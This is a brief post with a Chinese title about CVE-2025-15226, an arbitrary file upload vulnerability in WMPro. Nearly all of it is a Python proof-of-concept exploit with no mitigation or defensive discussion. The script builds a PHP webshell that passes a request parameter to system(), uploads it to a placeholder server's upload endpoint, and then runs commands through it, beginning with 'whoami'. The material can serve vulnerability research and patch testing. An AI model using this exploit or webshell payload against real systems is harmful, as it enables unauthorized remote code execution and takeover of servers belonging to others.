CVE-2025-15226 WMPro任意文件上传漏洞可导致远程代码执行

import requests import sys # CVE-2025-15226 PoC - WMPro Arbitrary File Upload # Target: WMPro server with vulnerable file upload functionality TARGET_URL = "http://target-server.com" # Replace with target URL UPLOAD_ENDPOINT = "/api/upload" # Replace with actual upload endpoint WEBSHELL_NAME = "shell.php" def create_webshell(): """Create PHP webshell payload""" php_code = "<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>" return php_code def upload_webshell(): """Upload malicious file to target server""" files = { 'file': (WEBSHELL_NAME, create_webshell(), 'application/x-php') } try: response = requests.post(f"{TARGET_URL}{UPLOAD_ENDPOINT}", files=files, timeout=10) print(f"[*] Upload Status: {response.status_code}") print(f"[*] Response: {response.text}") # If successful, return the path to execute the webshell if response.status_code == 200: return True except Exception as e: print(f"[!] Error: {e}") return False def execute_command(cmd): """Execute command via uploaded webshell""" shell_url = f"{TARGET_URL}/uploads/{WEBSHELL_NAME}" params = {'cmd': cmd} try: response = requests.get(shell_url, params=params, timeout=10) return response.text except Exception as e: print(f"[!] Execution Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-15226 WMPro Arbitrary File Upload PoC") if upload_webshell(): print("[+] Webshell uploaded successfully") print("[*] Executing whoami command...") result = execute_command("whoami") if result: print(f"[+] Result: {result}")